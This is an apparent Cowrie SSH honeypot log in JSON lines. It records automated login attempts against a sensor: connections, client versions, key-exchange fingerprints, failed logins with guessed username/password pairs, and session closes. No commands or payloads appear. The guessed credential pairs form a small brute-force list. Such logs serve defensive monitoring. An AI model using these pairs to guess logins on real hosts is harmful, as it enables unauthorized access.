{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":36298,"dst_ip":"10.17.0.5","dst_port":22,"session":"523d4610ec7b","protocol":"ssh","message":"New connection: 23.249.28.115:36298 (10.17.0.5:22) [session: 523d4610ec7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:59.519758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:59.523382Z","src_ip":"23.249.28.115","session":"523d4610ec7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:59.708721Z","src_ip":"23.249.28.115","session":"523d4610ec7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sky","password":"sky123","message":"login attempt [sky/sky123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:00.487323Z","src_ip":"23.249.28.115","session":"523d4610ec7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:01.677995Z","src_ip":"23.249.28.115","session":"523d4610ec7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":47472,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83dc8446387","protocol":"ssh","message":"New connection: 20.244.95.173:47472 (159.203.135.109:22) [session: d83dc8446387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:03.183321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:03.188486Z","src_ip":"20.244.95.173","session":"d83dc8446387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:03.388895Z","src_ip":"20.244.95.173","session":"d83dc8446387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moon","password":"moon","message":"login attempt [moon/moon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:03.792771Z","src_ip":"20.244.95.173","session":"d83dc8446387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:04.994330Z","src_ip":"20.244.95.173","session":"d83dc8446387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":41700,"dst_ip":"159.203.135.109","dst_port":22,"session":"e51a9c152dfa","protocol":"ssh","message":"New connection: 34.81.72.185:41700 (159.203.135.109:22) [session: e51a9c152dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:16.449436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:16.453617Z","src_ip":"34.81.72.185","session":"e51a9c152dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:16.645871Z","src_ip":"34.81.72.185","session":"e51a9c152dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eversec","password":"eversec@123","message":"login attempt [eversec/eversec@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:17.449937Z","src_ip":"34.81.72.185","session":"e51a9c152dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:18.645031Z","src_ip":"34.81.72.185","session":"e51a9c152dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":34688,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccec575b02ba","protocol":"ssh","message":"New connection: 209.38.255.212:34688 (10.17.0.5:22) [session: ccec575b02ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:20.068897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:20.075059Z","src_ip":"209.38.255.212","session":"ccec575b02ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:20.158932Z","src_ip":"209.38.255.212","session":"ccec575b02ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahdi","password":"mahdi123","message":"login attempt [mahdi/mahdi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:20.525432Z","src_ip":"209.38.255.212","session":"ccec575b02ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:21.610945Z","src_ip":"209.38.255.212","session":"ccec575b02ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":41564,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac7420ea2601","protocol":"ssh","message":"New connection: 5.75.240.121:41564 (10.17.0.5:22) [session: ac7420ea2601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:26.641626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:26.645902Z","src_ip":"5.75.240.121","session":"ac7420ea2601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:26.739996Z","src_ip":"5.75.240.121","session":"ac7420ea2601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dust","password":"dust@","message":"login attempt [dust/dust@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:26.931742Z","src_ip":"5.75.240.121","session":"ac7420ea2601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:28.028601Z","src_ip":"5.75.240.121","session":"ac7420ea2601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":57346,"dst_ip":"10.17.0.5","dst_port":22,"session":"10a0c179211c","protocol":"ssh","message":"New connection: 24.144.91.67:57346 (10.17.0.5:22) [session: 10a0c179211c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:37.595322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:37.599781Z","src_ip":"24.144.91.67","session":"10a0c179211c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:37.671924Z","src_ip":"24.144.91.67","session":"10a0c179211c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"password","message":"login attempt [ark/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:37.991218Z","src_ip":"24.144.91.67","session":"10a0c179211c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:39.066317Z","src_ip":"24.144.91.67","session":"10a0c179211c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":33154,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ded6abc76bf","protocol":"ssh","message":"New connection: 156.238.246.148:33154 (10.17.0.5:22) [session: 3ded6abc76bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:42.545257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:42.549651Z","src_ip":"156.238.246.148","session":"3ded6abc76bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:42.755922Z","src_ip":"156.238.246.148","session":"3ded6abc76bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxadmin","password":"Linuxadmin123","message":"login attempt [linuxadmin/Linuxadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:43.614067Z","src_ip":"156.238.246.148","session":"3ded6abc76bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:44.823968Z","src_ip":"156.238.246.148","session":"3ded6abc76bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":59306,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c550b020e4","protocol":"ssh","message":"New connection: 80.94.92.171:59306 (10.17.0.5:22) [session: 34c550b020e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:59.946775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:44:59.973529Z","src_ip":"80.94.92.171","session":"34c550b020e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:00.197543Z","src_ip":"80.94.92.171","session":"34c550b020e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:00.828374Z","src_ip":"80.94.92.171","session":"34c550b020e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:02.509027Z","src_ip":"80.94.92.171","session":"34c550b020e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42592,"dst_ip":"10.17.0.5","dst_port":22,"session":"93deee99a8cc","protocol":"ssh","message":"New connection: 195.178.110.218:42592 (10.17.0.5:22) [session: 93deee99a8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:23.749727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:23.754149Z","src_ip":"195.178.110.218","session":"93deee99a8cc","protocol":"ssh"}
